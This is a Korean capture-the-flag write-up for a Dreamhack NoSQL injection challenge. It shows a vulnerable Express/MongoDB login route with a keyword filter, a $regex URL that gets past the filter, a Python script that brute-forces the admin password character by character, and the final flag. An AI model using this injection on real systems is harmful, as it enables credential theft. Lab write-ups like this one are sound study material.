시작하기 전에 문제를 간단하게 읽는다.
NoSQL INJECTION을 이용해
플래그를 얻는 문제이다.
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
문제에 필요한 코드
접속 시 나오는 화면
다음 문장을 URL에 입력하면
guest로 접속된 걸 확인 가능
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
8~9행을 보면 admin, dh, admi이
BAN당한걸 확인할 수 있다.
이를 우회하기 위해서는 .을 사용해준다.
ex) http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D. {*
($regex : 지정된 정규식과 일치하는 문서 선택
$where : JavaScript 표현식을 만족하는 문서 선택)
정규표현식을 통해 쿼리를 한글자 씩 알아내기는 힘들다.
그래서 익스플로잇 스크트립을 이용해서 작성한다.
import requests, string
HOST = 'http://host3.dreamhack.games:22287'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
다음은 파이썬을 이용해 작성한 익스폴로잇 스크립트이다.
위 코드를 실행하면 다음과 같은 플래그를 얻을 수 있다.
가장 밑에 있는 플래그가 답이다.
정답: DH{89e50fa6fafe2604e33c0ba05843d3df}